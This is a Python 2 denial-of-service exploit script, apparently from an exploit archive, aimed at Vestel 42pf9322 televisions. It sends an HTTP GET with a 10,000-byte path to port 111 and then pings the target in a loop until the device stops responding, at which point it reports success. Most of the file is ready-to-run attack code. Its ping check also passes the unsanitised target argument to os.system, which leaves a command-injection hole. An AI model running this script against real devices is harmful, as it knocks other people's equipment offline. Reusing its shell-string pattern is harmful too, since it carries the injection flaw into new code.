#!/usr/bin/python
# Exploit Title: Vestel TV Denial of Service (DoS) Attack
# Exploit Author: HackerSofi - hackersofi@gmail.com
# Date: 12/09/2013
# CVE Number:
# Vendor Homepage: http://www.vestel.com/
# Description: Some TV's Has Communication Port. Vestel 42pf9322 Models TV Using Port 0f 111 For Network Communications.
# If You Launch An Attack 0n The Communication Port, Tv System Will Be Crashes.
# Special Thanks : DaTaMaN
import httplib
import sys
import os
print " ***************************************************************************************"
print " Author: HackerSofi - hackersofi@gmail.com \n"
print " Exploit: Denial of Service (DoS) attack\n"
print " Description:\n"
print " Some TV's Has Communication Port. Vestel 42pf9322 Models TV Using Port 0f 111 For Network Communications. "
print " If You Launch An Attack 0n The Communication Port, Tv System Will Be Crashes.\n "
print " Special Thanks : DaTaMaN "
print " ***************************************************************************************\n"
# Sends The Request
print " Sending The Request...\n"
conn = httplib.HTTPConnection(sys.argv[1],111)
conn.request("GET", "A"*10000)
conn.close()
# Checks The Response
print " Checking The Status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
if response != 0:
print " Attack Successful!\n"